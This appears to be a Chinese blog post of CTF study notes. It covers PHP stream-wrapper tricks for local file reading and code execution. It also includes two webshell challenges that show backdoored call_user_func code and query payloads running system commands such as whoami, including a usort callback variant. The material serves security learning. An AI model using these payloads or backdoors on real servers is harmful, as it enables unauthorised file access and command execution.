当前位置: 首页 > article >正文

PHP安全

 PHP伪协议:

一.【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

file:// [文件的绝对路径和文件名]

http://127.0.0.1/test.php?Bx=file://D:\phpstudy_pro\WWW\2.php

二.【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:PHP: php:// - Manual

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 

 测试:

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on        默认是off一般用不了

测试:

三.【zip://, bzip2://, zlib://协议】

 压缩、重命名

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:PHP: zlib:// - Manual

1.【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

先将要执行的PHP代码写好文件名为2.txt,将2.txt进行zip压缩,压缩文件名为2.zip,如果可以上传zip文件便直接上传,若不能便将2.zip重命名为2.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

以下两个需要在linux下测试:windows不能成功,用法都一样

2.【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

3.【zlib://协议】

使用方法:

compress.zlib://file.gz

四.【data://协议】

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

测试:

 

五. 常规小结:

PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

 

webshell 

第一题:

分析:

1.call_user_func — 把第一个参数作为回调函数调用

2.isset — 检测变量是否已声明并且其值不为 null

3.unset — 清除指定变量

4.action要接一个类似于system 的函数,在if循环里检测了action关键字,然后用unset删掉了,所以传到$a里的parameters不含action

提示:usort变长参数+回调后门

usort — 使用用户自定义的比较函数对数组中的值进行排序

<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

$a = call_user_func($action, ...$parameters);

简单: 

?action=system&1=whoami

action接到了system,parameters接到的是整个,然后unset把action删掉后,就变成了1=whoami

?action=usort&0[0]=system&0[1]=whoami&1=call_user_func 

第二题:

加了个POST

<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

call_user_func($action, $parameters)($_POST['a'])($_POST['b']);


http://www.kler.cn/a/308942.html

相关文章:

  • Django基础用法+Demo演示
  • 卓胜微嵌入式面试题及参考答案(2万字长文)
  • GIS空间分析案例---城市公共设施配置与服务评价
  • 如何从头开始构建神经网络?(附教程)
  • mac终端使用pytest执行iOS UI自动化测试方法
  • 移动端【01】面试系统的MVVM重构实践
  • JSON 数据 Excel 行转列
  • Gradio导入AIGC大模型创建web端智能体聊天机器人,python(2)
  • Matlab simulink建模与仿真 第十三章(信号通路库)
  • TinyML-On-The-Fly: 实时、低功耗、低成本的微控制器嵌入式设备内计算机视觉技术用于无人机图像分类
  • AtCoder ABC370 A-D题解
  • 传知代码-KAN卷积:医学图像分割新前沿
  • 使用Pydantic模型和LangChain构建高效查询过滤器
  • 为什么在 JSON 序列化中不使用 transient
  • 复变函数论重大错误:将无穷多各异平面误为同一面
  • bev pool 原理及代码讲解
  • 通信工程学习:什么是AN-SMF接入网系统管理功能
  • jacoco生成单元测试覆盖率报告
  • 使用vant UI实现时间段选择
  • Linux系统终端中文件权限的10位字符是什么意思
  • 工厂模式 vs 简单工厂:解耦与扩展性的比较
  • React js Router 路由 2, (把写过的几个 app 组合起来)
  • 如何在 CentOS 上安装和使用 Neofetch(图文教程)
  • Java 技巧 如何在IDEA2024 中快速打出System.out.println();
  • (185)时序收敛--->(35)时序收敛三五
  • 【黑马点评】已解决java.lang.NullPointerException异常